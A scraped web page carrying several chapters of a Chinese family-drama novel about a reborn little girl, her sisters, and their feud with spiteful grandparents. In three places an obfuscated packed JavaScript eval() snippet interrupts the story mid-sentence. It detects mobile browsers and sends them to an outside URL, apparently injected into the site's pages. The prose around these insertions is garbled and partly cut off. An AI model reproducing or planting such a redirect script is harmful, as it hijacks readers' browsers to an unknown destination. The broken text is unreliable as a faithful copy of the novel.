“跳?陆安安是跳一点,但是嘴巴甜啊,穿着小裙子在我的店门口喊人喊的好得很。”孙书琴想着前几天陆易宁的表现,非常欣慰,“而且,七七那孩子也很懂事,我从没见过哪家三岁的孩子有她懂事。前几天,我姐夫一个人去医院做手术,我们都不知道,还是七七跑回来拉着刘林去的医院。我当时都惊了,她居然能记那么远的路。她爸爸在这的那两天,每天都是她端水端吃的到她爸爸床边,照顾完爸爸,一有空就陪刘宇则玩,让我好好做生意。有时候还在店里陪我,帮我招呼客人。你是不知道,有些人看她胖嘟嘟的,可爱得要命,本来不想来店里的,一听见她说“嬢嬢叔叔要吃什么,我可以给你们介绍哦”这句话,就来店里坐着了。” 孙书琴越说心越软,“姐,你运气怎么那么好,能生出这么好的孩子。你看我家刘佳,一放学回来就和她弟弟打架,闹得我头疼。” 有关对陆易宁的夸奖,刘秀珍向来是欣然接受的。 但是对于那个孩子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你?跪着求他们跟我道歉,然后过几天继续欺负我们一家子吗?”刘秀珍有点不耐烦,“你的性子再这样软下去,只有一直吃亏的份。反正我是受不了你爸妈的白眼了。” “我爸妈就是那个烂性子,” 又是这句话,刘秀珍失望地摇了摇头,陆平见状,连忙补充道:“你放心,我爸妈以后绝对不敢再这样对你了!” “就你这烂好人,软面团,你爸妈能好好对我女儿,天都能塌下来。”马春花背着一箩筐东西走进来,刘林听见母亲的声音,连忙从隔壁跑过来帮她把箩筐抱到地上。 “妈,你怎么来了?”刘林和孙书琴异口同声。 “是坐顺风车来的吗?”孙书琴赶紧走过去看了箩筐一眼,里面什么都有。 “我走路来的。”马春花瞪着陆平说:“我家女儿在别人家生了孩子,被当成草一样轻贱。别人家不疼,我这个当妈的疼!” 刘秀珍垂下头,偷偷擦掉眼角的泪水。 陆平举手发誓,“妈,我保证,以后绝对不” “不要尽向老子放屁。你妈当初在我女儿生第一胎的时候我就和她吵过架,她嘴巴跟毛丝坑一样,又丑又脏。总之,你们一家没一个好东西。我过几天就去把我另外两个外孙女接回杨长和我住。你们陆家的大门,我们刘家不稀罕。”老太太神情严肃,她不知道陆平做了手术的事,看他蔫蔫的一张脸,有气没力的,更来气了,就是嫁了这么个没出息的男人,闺女才会那么受气,“真不知道,老子以前到底是看上你什么了?居然会同意把女儿嫁给你?” 女婿在他本家是软柿子,但是在自家里,一直是个很好的人。 马春花以前很疼这个女婿的,哪怕知道陆天松两口子的德行差,她也会就事论事,将女婿从里面摘出来。 可是那两个老东西还有他家大儿子大儿媳妇一而再再而三地欺负人,实在是忍不了了。 刘林缺心眼地说:“妈,你和我爸不是觉得我姐夫长得好看才同意他跟我姐的吗?” 马老太和孙书琴同时给了刘林一巴掌。 刘林左右胳膊各挨了一巴掌,吃痛地揉着胳膊说:“就是啊,当初媒人来我们家时,带来的男人要么脏要么丑要么又老又脏又丑,我姐自己找了我姐夫,请人带他来家里的那天,你和爸一口就同意了。他当天下午一喊你“妈”,你哎哎哎应得可好了。” 马春花的脸色极其难看,又拍了刘林一巴掌,“再给老子乱编,老子撕烂你的嘴。” 陆平见状,忍着痛起身去拉,“妈,你别打他了,当时就是这样的情况啊。” 21. 二十一章 刘秀珍合计在街上住了二十多天。 陆平一有空就去街上看她。陆天松和高翠英自她离开那晚开始,每天都到家门口各种骂。 陆平的嘴巴笨,吵不过,陆易安也不争着上街去看妈妈了,和父亲妹妹一起跟两个老家伙以及拱火的陈英陆远对骂。 骂了半个多月,看儿子每隔一天就要去街上,雷打不动,高翠英决定转变路线。 小儿子吃个吃软不吃硬的主,于是她让陆远来做陆平的思想工作,劝他和刘秀珍离婚,去做复活手术,再娶。 谁知平日里喜欢听软话的陆平当晚差点将他大哥打出门。 陆远去告了状,第二天两个老家伙不忙着去地里,又来到家门口闹。 陆平这辈子终于硬气了一回,拿着锄头跑去老房子,一通乱砸,并且扬言要去报警抓陆远和陈英,告他们拐卖儿童。如果老两口再逼他,他不介意将他们一大家子全部送进大牢。 那天,半个村子里的人来拉他都拉不动。 两个老人跪在地上哭天喊地,陆平也不罢休。 在村里几个陆姓老人的调节下,陆天松和高翠英总算消停了,七八天都不敢上门闹。 刘秀珍回村,是陆果果满月当天,她是被一大家子人送回来的。 陆易宁在路口跟在一群大人身后跑,来的人有外婆,小舅舅,小舅妈,大表哥刘志宏,大表姐刘萱,母亲的堂兄妹,表兄妹,还有陆易安朝思暮想的郑松和赵倩,大概二十个人。 高翠英想骂人,奈何对方人太多,她斗不过。 一直等到第二天,高翠英见人少了,又开始在家门口闹。 赵倩特意站在竹林里听,她从未接触过这种老人。她家附近也有讨人嫌的邻居老人,不过是爱占点小便宜,人品还是不错的。 以前是自己孤陋寡闻了。 天底下居然会有这种妈,能把自家孩子咒骂得猪狗不如,天天在门口骂人,一骂就骂几个小时,嗓子都哑了还在骂。 这也不像在煤矿的电话里说的那样,老无所依,精神萎靡,可怜兮兮的样啊。 * 陆易宁,陆易安和郑煦一块在家门口玩跳皮筋,郑煦和陆易宁当桩子撑皮筋给陆易安跳。 “你家怎么天天有个声音在叫啊?”郑煦扭头看向声音传来的方向。 陆易安跳在皮筋框里,压低声音吓唬道:“郑阳阳,我告诉你,这个就是老变婆的声音。” 那道苍老的声音里带着愤怒,颤抖,哭喊,诅咒,时而高昂时而沉闷。 郑煦一听,不干了,立马跑进房间,喊妈妈赶紧带他回家。 “姐,陆哥他妈的嘴巴真厉害啊,骂这么久了,就没听过一句重复的。”赵倩捂着耳朵从后门进来,“不行,我忍不了,我要上她家门口去和她来一架。” 刘秀珍放下手里的针线,“你别去!你一去她越骂越勇,更难缠!” “妈妈,这里有老变婆,我们回家好不好?”郑煦跑进来抱着赵倩的大腿将她往外拉,赵倩顺着儿子的力气走,信誓旦旦地说:“你妈今天就去和老变婆交个手,看谁厉害?” 郑煦担心道:“她会吃人的。” 话音落,咒骂声戛然而止。 赵倩扯开儿子的手,又跑到竹林边上透过缝隙看。 只见陆平给了高翠英一样东西,高翠英将卫生纸裹着的东西扔在地上,态度十分强硬。 她扔的东西是钱,嘴上说着不稀罕。 马春花回到家,再次动了想喊女儿跟她回娘家的心思。 “那个鬼老奶的嘴巴太毒得很,这两天都跟她吵了几架了。我在这她都闹成这样,我们走了,你怎么办?” 刘秀珍胸有成竹地说:“哎哟,妈,我和陆平有法子对她的。” 赵倩:“什么办法?” 两个老家伙这辈子最看重的东西第一是陆远家的两个儿子,第二是陆远,第三则是钱。 刘秀珍了解陆平,这个软柿子是不会对他父母下狠心的,哪怕再生气,每个月该给的钱都会给。 陈英和陆远最爱钱了,两个老人要贴他们,必须用的就是钱。 刘秀珍说:“我跟陆平说好了,如果他们再闹,我们每个月都不会给他们钱。那些钱拿去孝敬村里的陆姓老人都不会给他们半分。” 赵倩深表怀疑,“可是我刚才看她把钱扔了,这样能行吗?” “放心,不超过一个星期,她和老头子就会来要了。” 赵倩还是不放心,老太婆的厉害这两日她见识过了,对方不像是收钱就消停的主。 而且今天她就要走了,当时候刘姐怎么办? 不行,必须在临行前给他们一个下马威。 陆易宁知道那个下马威是什么,反正两个老家伙未来两年确实消停了不少,就是因为赵倩阿姨偷偷在老房子里上演的一出戏。 对待无赖,就用流氓来克他。 赵倩走到前屋,偷偷给还在街上的郑松打了一个电话,陆易宁和郑煦在一边玩剪刀石头布,全部听见了。 挂掉电话,赵倩深吸一口气慢慢吐出来。说实话,喊人来扮演□□威胁恐吓老人这种事,有点缺德。 不过管他呢,那两个老家伙不诈一下怎么行? “倩倩阿姨。”陆易宁去拉她的手,撒娇道:“我能问你一个问题吗?” 赵倩宠溺地捏了捏她的小脸蛋,“你问吧,七七。” “你觉得女孩子是扁头好看啊,还是圆头好看啊?” 赵倩脱口而出,“当然是扁头有福气啊,有福就好看。” 陆易宁:“……” 得嘞,母亲身边的人没一个不觉得扁头不好的。 外婆,表姐,金凤婶婶,顺枝嬢嬢,连赵倩阿姨这个有圆头的也觉得扁头好看。 本想着请赵倩阿姨去劝劝母亲别给妹妹睡扁头,看样子,拯救陆果果的扁头计划很难办啊! “可是我听舅妈说,睡扁头的小孩,以后长大脸会很大,而且还会变笨啊。”陆易宁又说。 “才不是,你小舅妈明明说的是头扁的人聪明。” 陆易宁僵着脸看了郑煦的头一眼,不扁,也不是太圆。 赵倩摸了摸儿子的小光头,“你看郑阳阳,就是因为我当时不知道,没怎么给他睡扁头,他才没你和你姐姐聪明。” 真是个现实的好例子啊! 算了,改变陆果果的扁头命运只能靠自己硬来了。 * 八天后,不出刘秀珍所料,陆天松和高翠英上门要钱了。 要钱可以,刘秀珍让陆平去喊了几个村里德高望重的老人以及陆家辈分最大的两位老人来做见证。 小儿子可以给两位老人赡养费,但是陆远也要付相应的费用,并且陆天松和高翠英不能对小儿子一家任何人进行言语侮辱。 陆天松也表示,他可以接受此建议,前提是儿媳妇的朋友不能对他们做出大逆不道的事,比如拿着砍刀或者领着公安上门恐吓这种事。 陆平和刘秀珍一头雾水地答应了。 约定向来在懂规矩的人眼里才是约定,陆易宁能猜到,陆远一家绝对不会给爷爷奶奶一毛钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438379|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但是碍于要让父亲出钱,陆远不得不答应这个承诺,而两个老家伙也会帮着他,假装他给了。 这已经是最好的局面了。至少,两个月过去,高翠英和陆天松没在家门口高声骂过小儿子一家一句。 花钱买个安静大概就是这样。 * 九月初,陆平和村里的几个朋友联系上一个活计,一起去了省会。 陆易安成功入学,在不具备幼儿园条件下正式进了小学里的学前班。 开学当天,陆易安在学校的操场上遍地打滚,死活不去教室。刘秀珍陪她在教室里坐了半天,她才慢慢接受要上学的事。 之后的一个星期,刘秀珍早上送她去上学,送完孩子,再回家做农活。 陆易宁每天陪着刘秀珍去地里,种一点应季的粮食吃。 除此之外,刘秀珍还买了十二只鸡养来下蛋。 刘秀珍白天忙完农活,晚上赶工做衣服。 半个月后,陆易安跟村里上学的孩子玩得熟了,不用刘秀珍带她,她也能跟马金凤的孩子,村尾的哥哥姐姐们走半个多小时的山路去学校。 今天下雨,不能去地里。马金凤拿了一件孩子的外套来请刘秀珍缝。她的手艺好,缝的衣服就跟机器做的一样,针脚又齐又密。 陆易宁则是守着妹妹玩耍,跟以前陆易安守着她一样。 陆果果已经三个月大了,金凤婶婶说的长开在她身上似乎没看出来。 她的眼睛大了一点,睫毛也密了一些。 皮肤依旧很黑。 除了大了点,实在看不出什么太大的变化。 趁刘秀珍和马金凤摆龙门阵摆得热火朝天,陆易宁轻轻抱着妹妹的头,熟念地将妹妹脑袋底下的书抽掉。 刘秀珍要喂孩子喝奶时,看见孩子脑袋底下的书又不见了,大声喊道:“陆七七,你把老子给你妹妹垫头的书藏哪去了?” “我没有!”陆易宁在看电视,下一秒,母亲大人就拿着烧火棍来了,“老子数三声,快点拿出来。” 陆易宁躲到床边,“你为什么要给妹妹睡扁头?扁头不好看。” “好看不好看我不知道?”刘秀珍很少对二女儿发脾气,偏偏就是在给妹妹睡扁头这件事上,一向乖巧的二女儿突然反骨,天天跟她叫板,“三!二!” 陆易宁顺着床沿转,理直气不壮地说:“我扔水沟里了。” “什么?” “扁头又不好看,万一妹妹长大以后不喜欢扁头呢?他们都说扁头的人长大,人会变笨。” 别人她不知道,反正第一世的扁头陆果果长大以后确实有点笨。 刘秀珍竖起烧火棍,“你一天天的,好的不跟你姐姐学,还学会乱说了!” 陆易宁捂着屁股立马跑出门。 真是无语,这辈子自己怎么着也算个乖孩子了吧,偏偏因为给妹妹睡圆头的事被老妈打了几次。 刘秀珍也麻木了,每次她要给孩子睡扁头,一向听话的二女儿就会捣乱,宁愿挨打也不让妹妹的头变扁。 还是算了。 在母亲松口的那个晚上,陆易宁的屁股又挨了两巴掌。 第一世时,刘秀珍是在怀第三胎的时候才听信了睡扁头的谗言。结果陆果果长大总是抱怨为什么全家人就她的头最扁,明明才五十四的头围,脸跟张大饼一样。 正面看着还行,侧面一看,哦豁,没有侧面。 看着母亲怀里已经有点圆的头,陆易宁的手轻轻地揉了揉屁股,心里默念,“陆果果,就凭你这个脑袋,你以后必须好好孝敬我!” 22. 二十二章 十二月底,与病魔做了几年斗争的何飞,于寒冬离世。在外地工地的陆平收到消息,连夜赶回家。 刘秀珍从接到侄子打电话来的那一刻起,眼泪就没停过。 陆易宁抱着卫生纸,依偎在她身旁,替她擦掉眼泪。 大舅妈是个很好的人,母亲的手艺活全是她教的。妹妹身上现在穿的粉色毛衣外套就是当初大舅妈织给陆易安的。 生了病之后,她就没怎么做衣服了。 这年头,街上的摩托车司机很少,要回老家大多时候只能靠走。 天气太冷了,加上陆易安要读书,所以刘秀珍和陆平只背着陆果果回娘家帮忙,陆易宁和陆易安被就在家里。 家里备了饭,陆易安和陆易宁都会自己热饭吃。很多时候,马金凤都会来喊两姐妹去她家吃饭。 陆易安周五放学回来,家里依旧没有母亲的身影,已经灭了一晚的炉子突然有了热气,红煤烧得正旺,陆易安跑进里屋四处张望,没有人。 “陆七七,妈妈和爸爸是不是回家了?”陆易安有些失望地走到前屋的床边晃醒正在熟睡中的陆易宁。 “没有,他们后天才回来。” 陆易安指着复燃的炉子,“那炉子是谁发的?” 陆易宁支支吾吾地说:“金凤婶婶帮忙发的。” “我还以为爸爸妈妈回来了。”陆易安将书包扔在床上,准准地压住陆易宁双腿,此刻,连窗前的电视机都不能点燃她的热情。 腿上跟被一块石头压了一样。 学前班的书本又小又薄,没这么重啊。 陆易宁翻身爬起来,打开她的书包,里面鼓鼓囊囊的,什么都有。 一个大橙子,被分尸的橡皮,被撇断的铅笔,黑得要死的铅笔刀,空的零食口袋,各种颜色的橡皮筋,还有刘秀珍织毛衣的彩色毛线球,光滑的两个石头蛋,做工出糙的六面沙包…… 在各种乱七八糟的东西簇拥下,书包里最多的居然是书。 陆易宁数了一圈,二十二本书,重复的拼音教材就有六本。 “你怎么有这么多书?”不详的预感冲上来,陆易宁竟大言不惭道:“是不是你同学逼你给他们写作业了?” 陆易安只听见了三个字,“写作业”。 “陆七七,我教你读拼音写字好不好?”陆易安说做就做,随便从包里拿出一本拼音教材。 “我才不学。” 她这不是诚心诚意地教学,她只想训练自己给她写作业。 第一世时就是这样,那时自己不懂,学不明白,私底下经常被陆易安揍。 这一世,她才不接受,一旦开了这个先例,以后要被她逼着写十几年的作业。 “七七,你就让我教你嘛。”陆易安翻开书,连续翻了十几页翻到今天学习的地方,打算从这入手。 “你在学校都学到什么了?”陆易宁连忙转移话题,“我看你书包里面好多东西。” “那可多了!”陆易安十分得意地说:“跳板,丢沙包,打球,最近我还学了一样最厉害,最有用的。” “什么?” “摸鸡蛋。” 陆易安拉着陆易宁走到家门口的鸡舍旁边。 这些鸡养了几个月后,有几只开始下蛋了。 陆易宁隐隐有种不祥的预感。 “这是我去顺枝嬢嬢家里玩时,她教我的。”陆易安眼疾手快,一把薅住站在鸡笼边上的一只鸡,鸡屁股冲着外面,陆易安竖起手指头,找准地方,戳了进去。 陆易宁龇牙咧嘴地看着。 “这只没有。”陆易安摇了摇头,又逮了另一只,也没有。 在一阵鸡飞乱叫之后,陆易安的眉头有些舒展,“这只有,我摸着了,你要摸吗?” “我不摸。”陆易宁惊恐地摇头,陆易安居然有这手艺。 “真的有鸡蛋!” “那我也不摸鸡屁股。” “不摸就不摸。”陆易安松开手里的鸡,转身捏了捏陆易宁红彤彤的脸,“你信不信,没多久,这只鸡就会下鸡蛋。” 陆易宁顿时觉得脸上湿哒哒的,还臭,用力歪开头,“你用你抠鸡屁股的手摸我的脸?我刚才看见有只鸡屁股边还有鸡屎啊!” 陆易安不以为意,“我又没摸到鸡屎。” 陆易宁飞快跑进家洗脸,刚抬起头,陆易安的手又凑上来,只不过摸的是她的头发。 陆易宁:“……” “陆七七,我感觉你头发长长了。”陆易安揉了揉陆易宁的脑袋,十分有大姐的风范,“妈妈不在家,要不我帮你剪短吧,这样的话,妈妈回来就不用给你剪头发了。” 陆易宁一直留短发,每次头发长超过耳垂,她就会喊刘秀珍给她剪短。 被囚禁于学校的魔王归来,终于惦记上了她的头发。 这一刻,陆易宁比谁都想念刘秀珍。 “我不要剪!”陆易宁撩开腿就跑出门。 * 周日下午,刘秀珍黑着脸回家的时候,看见的一幕,差点让她口吐黑血。 陆易宁不争气,虽然思想上比陆易安成熟,但是体型上,明显翻不起什么浪。 二十多岁的成年人重生,因为打不过,终究是被小孩姐碾压的命。 “我的天爷!”陆平看着正在看电视的二女儿的头,震惊中再次震惊,整个脑袋的头发长短不一,除了下面稍微好一点,后脑勺和头顶跟斑秃了一样。 “爸,陆易安这两天天天打我!”陆易宁没出息地告状。 陆易安坐在里屋的饭桌旁,用勺子挖锅里的米饭吃,“谁叫她跟个笨蛋一样,教她写拼音,半天都学不会。” “陆易安!”刘秀珍先从震惊中回过神,其实从马金凤家门口路过时,她就被告知大女儿用她爸的刮胡刀给妹妹乱剃头发的事。 真看到实况了,本来心情就低落的她,瞬间气炸,“给老子出来!” 陆易安心虚地走出来。 陆平一脸严肃,“你妹妹的头发是你剪的?” 陆易安暼了一眼,迎对上刘秀珍凶狠的目光,理直气壮地说谎,“不是。” “还敢骗人!”刘秀珍不说一二,眼看她就要动手,陆易安眼疾手快,趁她将背上的陆果果放在床上的间隙,立马拿着烧火棍跑出门。 烧火棍被扔在家门口的水沟里,刘秀珍跑到竹林里,随便扯了一根细竹条,在大马路上追着陆易安打。 陆易安的哭声陆续传来,陆平在家里心疼地摸了摸二女儿的头,凹凸不平的发根触感,摸着摸着,实在忍不住。 “爸,你刚才是不是笑了?” 陆易宁扭头看了他一眼,陆平收回扬起的嘴角,“爸爸怎么会笑呢?” “妈妈打得也差不多了,我去劝劝她。” 今天令刘秀珍生气的还有一点。 她和陆平刚走到学校附近,就被几个刚从地里回来的女人围住了。 那几个女人向她哭诉她们的孩子在学校被陆易安欺负,几家孩子的十几本书,全被陆易安抢走了,连作业都没法做。 “我让你在学校欺负同学!”刘秀珍又给了陆易安的屁股一竹条,“老子是这样教你的吗?” 陆易安跟个窜天猴一样,疼得乱跳,“是他们先偷我书的。” “他们偷你的书?他们为什么偷你的书?” “那你问他们啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438380|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 又是一阵打。 事情的最后,陆平亲自将陆易安抢回来的书挨家挨户地送回去。 陆易宁被剃成了光头,刘秀珍加工加点,将陆易安以前的毛线帽改松一点给她带上。 陆平回来时,陆易安在写作业,因为刘秀珍罚了她半个月的零花钱,想到这,一边抽泣,一边写作业。 字还没写完,作业本先被打湿了。 “不准哭!”刘秀珍在里屋听见她的啜泣声,“再哭,你以后眼睛不想要了!” “我就哭。”陆易安憋着嘴,在心里不服气地骂。 陆平从兜里拿了一个发夹出来,黑色的,是一个中型号的鲨鱼夹。 “陆安安,你这几天做的事就是不对,以后不能欺负妹妹欺负同学了。你再欺负别人,别说妈妈,我都要打你。” 陆易安瞪了他一眼,“你别跟我说话,我妈打我的时候,你都不帮我!” “老子还打不得你了?”刘秀珍的威胁声再次传来,“你再犟,老子立马叫你的骨头成渣渣!” 陆易安后背一凉,不说话了。 “别哭了,以后你乖一点,妈妈就不打你了。”陆平将发夹小心翼翼地放到女儿的作业本上,“你看,这是爸爸今天在街上给你买的。” “丑死了,跟老奶戴的一样。” 陆易宁凑过去看了一眼。 果然,时尚就是和轮回啊。 陆易宁想到自己的光头,也很烦躁,“趁你现在头发多,还能戴,等以后长大,头发越来越少,你压根戴不上。” 她说的是实话,陆易安听起来像诅咒,“你还好意思说我,你连头发都没有,戴都不能戴。” 伤人八百,自损一千。 陆易宁:我这样是谁弄的? “你们两个别吵了。”陆平忍住笑,假装正经地发威,“我等会再听见你们吵,我过来就是一人一巴掌。” 刘秀珍没时间管她们,熨衣服时,眼泪就没停过。 陆易宁悄咪咪地坐在里屋的床边逗陆果果,不知道是不是看顺眼的原因,她竟然觉得妹妹没有之前黑了。 “嫂这一走,其实也是件好事。”陆平帮着捋衣服的边角,“听他们说,她走的前几天,一醒来就疼得又哭又喊,一直妈妈妈的喊,太痛苦了。” “唉。”刘秀珍抬手,头在袖子上划了一道,“我就是觉得像嫂那么好的人,不该得这种病才是。” 两人聊了一会儿,刘秀珍开始心疼大哥刘森,才几个月不见,就瘦得跟个皮包骨似的,天天哭,有几次还哭昏死过去。 陆易宁悄悄听着,感情这种事,谁也说不准。 有的人情愿为爱留守一辈子,有的人也会不甘余生寂寞。 在分别时,哭得撕心裂肺是真的,半年后,迎娶新欢时脸上的喜气洋洋也是真的。 上一世,陆平离世后四年,陆远热心地给刘秀珍介绍了一个名叫李守钧的男人。 两人相处了短短三个月,刘秀珍再嫁,并在第二个月搬去他的老家也是赵倩的老家风阳镇。 李守钧进厂打工,刘秀珍在街上开店做衣服生意,闲暇时间会到街口找赵倩聊会儿天。 当时,陆易宁十分抗拒母亲再嫁,哪怕那个男人伪装得再好对她再温和,她也不愿意他接替了父亲的位置。 在陆远陈英,高翠英,陆天松,刘森刘林的撮合下,刘秀珍封闭多年的心成功对一个伪善虚伪的人敞开了。 母亲高兴,爷爷奶奶高兴,外婆高兴,舅舅高兴,陆易宁只能自责自己自私,自己是个拖油瓶,最后带着祝福,祝福母亲能再次找到幸福。 没有谁能要求他人被自己捆绑一生。 23. 二十三章 半年后,刘森在别人的撮合下,准备再婚。 刘秀珍带着小女儿先回了娘家,陆易宁则是陪陆易安在学校等陆平来接她们去舅舅家吃酒席。 刘秀珍有时候去街上,或者回娘家时,陆易宁经常被陆易安带去学校。 一旦遇到农忙,父母无暇照顾孩子,学校里的学生大多都会带着弟弟妹妹来学校,弟弟妹妹们坐在教室里,老师也不会反对。 陆易宁四岁不到,已经成了老家小学的常客。 陆易安喜欢带妹妹上学,她长得圆嘟嘟,白白净净的,正是许多大人最喜欢的可爱娃娃。不仅是大人,陆易安的同学也喜欢逗她玩。因此,陆易宁成功成为陆易安朋友圈可以炫耀的小资本。 今天学校期末考试,也是陆易安读学前班重要的升学考试。如果成绩达不到升一年级要求,只能再读一年。 陆易安的座位靠窗,陆易宁就安安静静地坐在窗边。 学校的教育质量落后,学前班的学生除了学期末,其余时间几乎不会进行任何测验。就算是上课,老师也只是教大家一些简单的拼音数字,念大白书。 这就导致了很多孩子在试卷发下来的那一刻,都不知道试卷是什么东西。 老师简单粗暴地说说跟平时在课上写作业一样就行,唯一不能的就是抄别人的。 陆易安将桌上印得有字的纸张翻来翻去看了几遍,完全看不懂。 “你写完了可以给我看看吗?”陆易安难得不硬气,肯向同桌服软。 “我不给,你就继续留在学前班吧。” 她的同桌是个六岁的小男孩,平日里经常被她欺负,只要自己能升一年级,到时候陆易安继续留在学前班,他还比她高一年级,想想就高兴。 陆易安捏紧手里的铅笔,气得在试卷的空格处乱写数字。 小男孩瞄了一眼她的试卷,轻笑一声。 陆易安火气上来了,打算硬来。 “大姐,你学一年了,到底学了什么?难道天天只是上课的时候跟前桌聊她爸妈打架,爷爷娶小奶,下课跟后桌聊自家爷爷爷爷奶奶偷妹妹去卖钱的事儿吗?读不懂题目就算了,怎么能在语文卷子上写一加一呢?”陆易宁越看越难受,只能在心里咆哮。 算了,帮帮她吧。 第一题是写拼音,将左边的音节照抄到右边的格子里。 “在这里面写那个。”陆易宁的食指相继指了指拼音和方框,压低声音提醒道。 陆易安欣慰地看了一眼妹妹,照做了。 语文题不好直接念答案给她写,陆易宁只是帮着她做了连线题,几道能在试卷上找出具体答案字眼的填空题,好让她照抄。 数学就不一样了,需要填写的数字试卷上都有。陆易宁指3,陆易安就填3。 最后,陆易安怀着忐忑的心情结束了自己的升学考试。除了简单的加减法,自己什么都不会,这样按妹妹瞎指的字填,会不会得鸭蛋啊? 考试结束,陆平在校门口等着。 陆易安牵着陆易宁一出来,就看见来接她们的父亲。 “爸爸!”陆平刚从工地上回来两天,正是陆易安最黏他的时候。 “诶!”陆平将两个女儿抱到陆大军新买的三轮车上,“喊大军叔叔,他带着我们去外婆家。” 陆易安甜甜地冲着坐在车把手后方的陆大军喊,“谢谢大军叔叔。” “不用谢,安安。”陆大军发动车子,“七七安安,抱着爸爸哈,我们走咯” “好!” “今天考试考得好吗?”陆平的手手紧紧拉住车厢挡板。 陆易安没说话。 “我感觉她什么都不会。”陆易宁如实说道。 “爸爸,新的大舅妈是不是很漂亮啊?”陆易安给陆易宁使了一个眼色,抓紧转移话题。 陆平说:“当然漂亮。安安,你去了外婆家里,要拉着妹妹越喊大舅妈哦。” 明天舅舅结婚,所有人都很高兴。 陆易宁则是有点迷惑。 大舅妈冬天离世,才半年的时间,舅舅就再婚,几十年的相伴居然抵不过几个月的空虚。 这段匆匆开始的婚姻哪怕日后经常因为鸡毛蒜皮的事争吵,也不会结束。 有时候也不能低估老一辈对搭伙过日子这种心态的坚持。 * 在陆易宁的瞎指导,双科满分各为一百的情况下,陆易安以语文得了五十八,数学得了九十八的优秀成绩,成功位列六十三个孩子中的第五名。 陆平成功忽略了语文五十八分这一点,他的焦点全在数学的九十八上。 “我就知道,我的女儿,在读书这种事上,用不着我操一点心。” 刘秀珍心里也高兴,笑嘻嘻地泼他凉水,“是哦,你怎么不看看语文?” “看什么语文,我女儿的数学都快得满分了!” 陆平兴奋地蹲下来,让女儿骑在自己的肩膀上,父女俩从家门口跑到村口,从村口再跑回来。 欢快地笑声引得家里的陈英和高翠英十分不痛快。 高翠英往石磨的洞口放了一把豆子,“没出息的东西,一个烂姑娘让她去什么书嘛,成绩好有个鬼用?” 陈英推着石磨附和道:“九十八九十八,学前班的卷子我家陆一明一脚踩上去也不只得这点分。” 玩累了,陆易安跑回家,跟抱宝贝一样把陆易宁搂在自己的怀里,“陆七七,我没白疼你,你乱指给我写都能写对。” 陆易宁只是苦笑,没说话。 晚上,刘秀珍忙完手里的活,眼睛酸,脖子更酸。 陆易安爬上床屁颠屁颠地给她捏肩膀,陆平抬了一盆水过来,放在床边,给她洗脚。 刘秀珍用力眨了眨眼睛,“郑松那边有着落了吗?” 工地上包的活做完了,郑松说要去广东找事儿做,陆平回来半个月,等郑松那边落实了,就跟他一起去广东。 “不知道啊,其实,郑松是在等我呢。”陆平抹了一把脸,坐在刘秀珍旁边,直勾勾地躺下去,“他认得的字多,读的书多,普通话说得又好,想找活比我容易得多。他就是也想帮我联系一个活,才跟我一块在家里耽误着。” 大字不识几个,只能做体力活。 但是这年头的体力活不好找啊! “唉,希望能找到。”大女儿的手劲恰到好处,刘秀珍伸着脖子,“赵倩她也去的话,他家的郑阳阳也要带着去?” “不带。”陆平手枕着头,望着发黄的天花板,“他跟他外公外婆一块住。” * 七月中旬,陆平和郑松一块去了广东。 广东的气候不好,最热的两个月,几人在鞋厂里做鞋,每天在转得慢吞吞的电扇底下,汗流浃背地重复做一个动作,一个月赚一千来块。 太少了,没做多久,陆平就转去距离鞋厂七八百米的工地上做活。热是热了点,也很累,但是钱多一点。 在广东待了半年,郑松升职为线长,陆平在工地上做了几个月,兜兜转转,认识了几个朋友,又转去和他们一块去做家装,过年也没回家。 一年级的陆易安上学期期末考,也不忘带着陆易宁去学校。 在陆易宁的帮助下,两门功课,勉强及格。 陆平在电话里得知聪明女儿成绩下降,倒是没说什么,除了鼓励就是鼓励。 听着父亲鼓励陆易安的声音,陆易宁心里很不是滋味。如果不是她,只知道在学校玩耍的陆易安只会考得更差。 平凡的日子一如既往,刘秀珍偶尔和陈英吵上一架,高翠英就会来帮腔。 期间,吵得稍微严重一点的便是跟村口的张老太了。 自从儿媳妇被带去上环开始,张老太心里一直压着一股火,在高翠英添油加醋的情况下,张老太婆以陆易宁路过她家玉米地踩到地里的玉米为幌子,硬生生和刘秀珍在大马路上吵了四五次架。 吵架内容由玉米成功转变成陆易安害她儿媳妇不能生孩子。 高翠英对小儿子一家向来是胳膊肘往外拐,更何况对面是她的老闺蜜。 每次吵架,张老太在大路上和刘秀珍对骂,高翠英就在家门口骂。 村里人看热闹都看得烦了。 最后,陆易安跑去村支书家里喊人帮忙,陆易宁当着高翠英的面说要回家打电话给赵倩。 两个老家伙闹了一个月,终于消停了。 * 八月中旬,陆平背着大包小包的东西回来。 包里有在广东给刘秀珍买的布,给女儿买的零食糖果,本来想买一台缝纫机的,那玩意儿太重,背不动,过段时间再买。 夫妻二人躺在床上聊了一大晚上,从广东的天气聊到吃的,由吃食聊到已经改嫁的张桂花。 